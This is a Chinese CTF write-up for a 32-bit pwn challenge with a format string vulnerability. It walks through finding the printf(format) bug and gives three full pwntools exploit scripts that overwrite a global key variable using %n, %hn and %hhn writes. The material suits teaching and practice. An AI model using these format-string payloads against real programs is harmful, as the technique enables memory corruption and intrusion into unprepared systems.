攻防世界pwn题:实时数据检测
0x00:查看文件
一个32位的文件,canary、NX、PIE保护机制均关闭。
0x01:用IDA进行静态分析
程序很简单,输入一串字符(个数限制:512),然后再输出。最后根据key变量进行条件语句执行。
在imagemagic函数中用printf(format)进行输出,大概率有格式化字符串漏洞。因为key的地址在bss段:0x0804A048,所以试试用格式化字符串漏洞进行覆盖。
检测一下是否可以对随意地址进行覆盖:
有重复的,位于第12个参数。重复的原因是因为s是定义在了栈上。
payload = p32(key_addr) + b'%035795742d' + b'%12$n'
- 将key的地址写在第一位,相当于也会写在第12参数上。
- %12$n : 是指对第12的参数写入前面成功输出的字节数。
- %035795742d:前面key_addr已经占了4个字节,还要在输出35795746 - 4个字节。
0x02:完整EXP
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk") #io = remote("111.200.241.244",65079) key_addr = 0x0804A048 payload = p32(key_addr) + b'%35795742d' + b'%12$n' io.sendline(payload) io.interactive()
远程的话大概要几分钟输出,本地的话快一点。这种方法看着就很粗鲁,但很简单。
0x03:使用标志进行改进
上面因为%n是写入4字节数据,所以就直接写整个数,导致要输出大量数据才可以满足。但带格式化字符串中有那么两个标识:
- h :以双字节的形式;
- hh:以单字节的形式;
使用h标志进行改进:
要使key=35795746(0x0222 3322),因为程序为小端序,高字节存储在低地址。所以就是要使key_addr处为0x3322,key_addr+2处为0x0222。
from pwn import * context(os='linux', arch='i386', log_level='debug') #io = process("./datajk") io = gdb.debug("./datajk") key_addr = 0x0804A048 #35795746 == 0x02223322 #num1 = 0x222 0x222 == 546 #num2 = 0x3322 0x3322 == 13090; 12544=13090-546 payload = p32(key_addr) + p32(key_addr + 2) payload += b'%0538d' + b'%13$hn' payload += b'%012544d' + b'%12$hn' io.sendline(payload) io.interactive()
注:用%n写入数据的顺序要从写入数值小的开始。
前面已经输出了两个地址,占了8字节,所以0x222要减去8为538。后面的12544同理,要减去已输出的量。
使用hh标志进行改进:
将0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按数值从小到大依次写入。
这时要灵活的改变‘覆盖地址’的参数位了,可以先看一下wiki中的这个页面的‘覆盖小数字’:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
exp里面的a主要用于调参数位(按4调整)。由于这里调动比较灵活,同时代码不唯一,但大概思想不变。所以就不做多解释了,有问题可以在评论区提出。
from pwn import * context(os='linux', arch='i386', log_level='debug') io = process("./datajk")
key_addr = 0x0804A048 #0x02 22 33 22 (high -> low) #input 0x02 payload = b'aa%15$hhnaaa' + p32(key_addr + 3) #input 0x22(two) payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna' #input 0x33 payload += p32(key_addr + 1) + b'%012d%23$hhn' io.sendline(payload) io.interactive()
0x04:感触
没有绝对安全的系统!
tolele
2022-06-16